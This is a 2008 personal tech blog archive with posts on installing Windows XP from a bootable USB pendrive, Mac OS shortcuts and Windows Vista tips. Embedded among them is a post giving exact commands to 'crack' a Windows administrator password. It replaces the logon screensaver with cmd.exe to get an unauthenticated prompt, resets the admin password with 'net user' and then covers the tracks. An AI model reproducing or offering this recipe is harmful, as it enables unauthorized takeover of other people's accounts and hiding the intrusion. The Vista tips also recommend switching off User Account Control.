Kp’s Weblog

Archive for May 2008

Thanks for the response I recieved through comments and mails for the Part 1 of my install Windows from a Pendrive.Few of my site’s visitors were not able to access their harddisk drives in the dos mode because they used a NTFS file system.The boot disk I provided did not support NTFS filesystem.So am going to solve that problem here.
I will make it as simple as possible.The tools needed are:
1.NTFS floppy setup or NTFS4DOS
2.Win XP setup files(The I386 folder is enough).
All you have to do is to insert the pendrive in the USB port and run the NTFS floppy setup utility.Choose your empty pendrive and click start.This will create the bootable pendrive.
Now copy the I386 from the Windows setup that you have.Restart the system by setting the boot priority to USB.the system boots to the DOS mode.Now you will be able to access other drives too because it is a NTFS boot disk.Now enter the USB drive and copy the setup files to your harddisk.for that use the command
copy [sourcePath] [destinationPath]
Where the source path is the setup files in your USB and the destination path is your harddisk.Now run the setup from the copied setup files in your harddisk,say c drive.To run setup type,
a:\>c:
c:\>cd I386
c:\I386>winnt
Thats it.You are done.The setup starts.

Also check Weblogzz…Ple do comment

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Here is a way to install windows XP by booting from a USB.I had to find this out because, My friend came with a problem that his existing OS got corrupt and his CD-Rom had failed.So i thought of searching for a way to solve this issue and came out with an idea of installing by booting from a pendrive.I had to search for a long time to find an answer to make the USB boot.I don’t want anyone else to break up their head as i did to find the solution.So I am publishing here what i did.
You need to download two files for this process:
1.HpUSBformat(2MB)
2.Dos Files(less than a MB)
Extract the dos files(solution.rar) to c:\dos.now run the HpUSB format utility to format the pendrive and make it bootable.Run the Hp USB utility.select the USB drive(usually it selects automatically).select the check box create a dos startup disk and check “using DOS system files located at and select the target location where you extracted the DOS files.your utility should look like this.

Click start.
Now copy the other files in your extracted DOS files folder to the pendrive.your USB should look like this.


Now copy the setup files from the Win XP setup CD or from your hard disk.Thats it .Your bootable Win XP USB setup is ready.
In the bios ,set boot priority for the USB as first and perform the boot.the cursor will stop with a drive.Type nc and hit enter. Norton Commander will open.This will copy all files from pendrive to disk C.
[Note: You can also install directly from the pen drive by typing “cd I386” and then running “winnt” instead entering the norton commander].
Remove Your pendrive and reboot your system.The system will enter the windows setup wizard.Then the usual routine as installing from a CD.You are done..!!!

Here is a very simple way to crack the administrator user ID and Password .

Follow these steps:

Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd windows\system32
mkdir temphack
copy logon.scr temphacklogon.scr
copy cmd.exe temphackcmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

 

So what you just told windows is to backup the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command “net user password”. So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

MAC OS Tips & Tricks:

1. Use fast file previews

Need to find the right file last? Select a file in the Finder and press the space bar or type Command-Y. You’ll get an instant pre­view of the file’s contents without having to launch the application. If it’s an audio file, the sound will play, too. Pretty neat.

 

2. Uncover long filenames

In a Finder window set to column view, click the tab at the bottom of the vertical divider to expand the column to the width of your longest filename. Do it once to optimize for the length of your typical file­names. Hit Option and double-click the tab, and all columns will expand, too.

 

3. Send the Web page

Why send a link when you can send the whole Web page? In Safari, find your page-press Command-I, and a dialog will ask you for an e-mail address. Fill it in and your recipient will see the page, complete with live links and images, right in his or her e-mail app—-if Mail is your e-mail client.

 

4. Get the full file 411

To find out more about a file, select it, type Command-I, and check the Show item info box. Instead of just a folder icon, you’ll see the number of items inside it, below the folder name. For a photo, its size will be displayed; for an audio file, you’ll see the length, and so on

 

5. Stealth surfing

Up to no good at work? Type Command-H to hide an entire application instantly—no matter how many associated windows you have open. When the coast is clear, click the app’s icon in the dock to get it back. Command-Option-Il will banish all other open programs except for the one selected.

6. Rearrange your desktop

Is the dock cramping your style? Press Shift and select the divider line at the right end of the dock (next to the Recycle bin-provided the dock is at the bottom of your screen to begin with), and drag the dock to the left or right side of your screen Do the same thing to drag it back to the bottom

 

7. Find your favorite Finder view

 To customize your Finder view, type Com­mand-1 for icon view, Command-2 tor list view, and Command-3 for column view. Command-4 switches the view to Cover Flow, where you can visually flip through your files as if they were CDs in a jukebox.

 

8. Zoom with a view

Using your Mac for a presentation? Zoom in on your desktop so everyone can see: Open System Preferences, click on Universal Access, and select Zoom | On. Command-Option-Equals zooms in and Command-Option-Hyphen zooms out. Repeat to increase or decrease the magnification

 

9. A look-up hook-up

Need a quick definition? If you’re reading a puzzling passage in Stickies, TextEdit, or Microsoft Word, highlight and drag the text to the Safari icon in the dock to serve up Google search results. Like what you see? Highlight the text in Safari, drag it to the dock’s Mail icon, and open up a new message with the text.

 

10. O file, where art thou?

 Spotlight can find files in a flash, but where do they live? Move your cursor over the search result and a dialog will appear showing you the path. Click the result and your file will open. Hold the Command key down while clicking to open a window showing where your file is.

 

11. Visit shortcut central

If you prefer key combos to clicks, you can find a list of every keyboard shortcut avail­able in OS X at System Preferences | Mouse and Keyboard |Keyboard Shortcuts. Check the box next to the description of a key combo to enable it, or uncheck it to dis­able. You can even add your own combos by selecting the* button at the bottom left-hand corner of the window.

 

12. Put your Mac to sleep quick

Send your Mac to bed fast: Press Command-Option and hold down the Eject key for a few seconds. Instant hibernation!

 

13. System stats, stat!

Monitor fun stuff like your Mac’s proces­sor, RAM and hard drive usage right from the dock. Go to Applications | Utilities and drag the Activity monitor to your dock. Launch the program, then click and hold on the icon, and select the activities you want to keep tabs on. You’ll see a live graph for each activity.

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Tips and Tricks

 

1. Partition unused space

Vista has a built-in hard-drive partitioning tool that’ll let you take unused space from your main partition and form an extra partition, say. a H: drive for storing photos and videos. It can also consolidate extra space into a single partition. The utility resides in the Computer Management console located in Vista’s Administrative Tools Control Panel.

 

2. Watch TV on your Vista PC

If one is not already built in, you can buy an external TV tuner and use Windows Media Center to watch TV and record through the handy program guides. For buildings or homes that are cable-ready, high-definition channels are unscrambled or ready to watch without a cable box,

 

3. Send faxes and scan documents The odds are good that your PC has an integrated fax modem. Take advantage of it by using Vista’s built-in Fax and Scan utility (found in Vista Business and Ulti­mate editions). This same utility can also take advantage of that old scanner to image documents without your purchasing new, Vista-compatible software.

 

4. Have kids? Use parental controls Go to the Control Panel and select User Accounts and Family Safety. Next, click the link that says Set up parental controls for any user. From there, you can block inap­propriate Web sites, set up a time schedule for playing games, limit use of instant-messaging software, and create boundar­ies for browsing the Internet. You can even print out an activity report for your child.

 

5. Conserve battery power

In addition to setting up a Power scheme, Vista can automatically crank down the brightness of the screen (via a slide bar or by percentage points) when a laptop is running on battery. Go to Control Panel \ Power options | Advanced Settings j Display and set the brightness to 50 percent. This can add an extra 20 to 30 minutes’ worth of battery time for your commute home.

 

6. Turn off annoying prompts Vista added the “A Program Needs Your Permission to Continue” prompt to help prevent you from inadvertently installing malware or making unauthorized changes to your computer. It’s annoying to see that dialog box constantly pop up. If you’re computer savvy, you can turn it off by deactivating User Account Control in the User Accounts Control Panel.

 

7. Two clocks for two time zones

If you work in different time zones, you can add up to two additional clocks on the sys­tem task tray. Left-click on the clock, select Change date and time settings, and go to the Additional Clocks tab. You can then enter the display name for the clock(s) and choose its time zone.

 

8. Boost compatibility

Before throwing your computer against a wall because a particular piece of leg­acy software is not working in Vista. try compatibility mode. Right-click on the program’s EXE file and choose Properties. Then click the Compatibility tab, check the box that says Run this program incompat­ibility mode for:, and select the operating system that worked best with the software.

 

9. Expanded shortcut menu

You can add useful options to the right-click menu on any file or folder. By holding down Shift as you right-click an item, add any file to the Start menu or Quick Launch toolbar, copy the entire path of the file or folder to the clipboard, or open a com­mand prompt window.

 

10. Get a health report from Vista People get physical checkups, and so do computers. Vista can run a complete and well-organized diagnostic report high­lighting potential problems. In the Con­trol Panel, click System and Maintenance | Performance Information and Tools. In the Tasks list along the left, click Advanced tools. The last item on the resulting list  is Generated system health report.

 

11. Remove metadata from pictures Pictures and documents have hidden data about the type of equipment used, as well as personal information about you. You can remove these details by right-clicking the file icon and selecting Properties. On the Details tab, click Remove Properties and Personal Information. You can remove sev­eral properties at a time or all of them by the checkboxes next to a property.

 

12. Create a shortcut to lock a PC Slice steps off your system log-off rou­tine by putting a log-off shortcut on your desktop. Start by right-clicking an empty space on the desktop and then selecting New shortcut. In the space below Type the location of the item, type in run dl I32.exe user32.dll. LockWorkStation (remember to watch your spacing and case). Finally, create a clever name for the icon in lieu of the default “rundll32″—how about “Lock PC”? Then click the shortcut to lock your computer with ease.

  

13. Virtualize your keyboard

If you’re running Vista on a Mac via Boot Camp, you won’t be able to find the PrintScrn key a Mac doesn’t have one on its keyboard. Good thing Vista has a vir­tual on-screen keyboard built in. It’s in the Ease of Access folder, under Accessories, in the Start menu. You should see the esc key next to the F12key.

 

14. Bypass the log-on screen

You don’t have to be confronted by that eyesore of a log-on screen every time you boot up. Make Vista log in automatically by typing netplwiz into the Start menu search box. That will bring up the Advanced User Accounts Control, where you can uncheck the box that reads: Users must enter a user-name and password to use this computer.

 

15. Take smarter screen shots Windows could always capture an image of you r desktop (with the Print Scrn key) or an active window (press Alt-PrtSc). With the Snipping Tool in the Accessories folder, you can snip a port ion of the screen or part of a Web site, document, or picture, and save it as an image file. Keep it handy by checking the option to display an icon of it in the Quick Launch toolbar.